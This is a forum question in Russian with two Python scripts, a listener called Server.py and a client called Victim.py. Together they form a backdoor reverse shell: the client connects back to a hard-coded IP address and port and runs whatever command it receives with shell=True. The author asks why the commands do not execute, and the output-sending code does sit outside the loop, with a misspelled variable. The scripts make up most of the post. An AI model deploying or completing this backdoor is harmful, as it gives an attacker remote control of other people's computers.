Python Socket Script не соединяется с клиентским скриптом Python - PullRequest
0 голосов
/ 20 июня 2019

Я возился с программированием сокетов и создал сценарий оболочки заднего хода в python с именем «Server.py», чтобы иметь возможность подключаться к другому сценарию на моей виртуальной машине под названием «Victim.py» и иметь возможность запускать команды с хост-машины, которую нужно отправить в командную строку жертвы и выполнить до того, как я продолжу ... вот код для обоих сценариев

#Server.py

import socket
import sys

# Creating a socket


def socket_create():
    try:

        global host
        global port
        global s
        host = '192.168.1.75'
        port = 9999
        s = socket.socket()
    except socket.error as msg:
        print("Socket could not be created: " + str(msg))


# Bind socket to port and wait for connection
def socket_bind():
    try:
        global host
        global port
        global s
        print("Binding socket to port: " + str(port))
        s.bind((host, port))
        s.listen(5)
    except socket.error as msg:
        print("Socket failed at binding " + str(msg) + "\n " + "Retrying...")
        socket_bind()

# Establish a connection with victim


def socket_accept():
    conn, address = s.accept()
    print(" Connected to " + "IP: " +
          address[0] + "\n\nport number is " + str(address[1]))

    send_commands(conn)
    conn.close()

# Send commands


def send_commands(conn):
    while True:
        cmd = input()
        if cmd == 'quit':
            conn.close()
            s.close()
            sys.exit()

        if len(str.encode(cmd)) > 0:
            conn.send(str.encode(cmd))
            client_response = str(conn.recv(1024), "utf-8")
            print(client_response)


def main():
    socket_create()
    socket_bind()
    socket_accept()


main()

а вот мой Victim.py

#Victim.py

import os
import socket
import subprocess


s = socket.socket()
host = '192.168.1.75'
port = 9999
s.connect((host, port))

while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))
    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode(
            "utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)


ouputbytes = cmd.stdout.read() + cmd.stderr.read()
outputstr = str(outputbytes, "utf-8")
s.send(str.encode(outputstr + str(os.getcwd()) + '>'))
print(outputstr)
s.close()

все работает нормально, и клиент подключается к моей машине с Ubuntu ... но когда я запускаю команду, она ничего не делает ... ничего, клиент на моей виртуальной машине Windows 7 остается бездействующим, когда он должен выполнять команды, которые я печатаю на своем компьютере. Машина с Ubuntu, я прошел через код, изменил номер порта и изменил количество принимаемых байтов (1024, 2048, 3000 и т. Д.), Кажется, ничего не работает, поэтому, если есть какая-то ошибка в мой код или что-то, чего я явно не хватает, пожалуйста, дайте мне знать.

...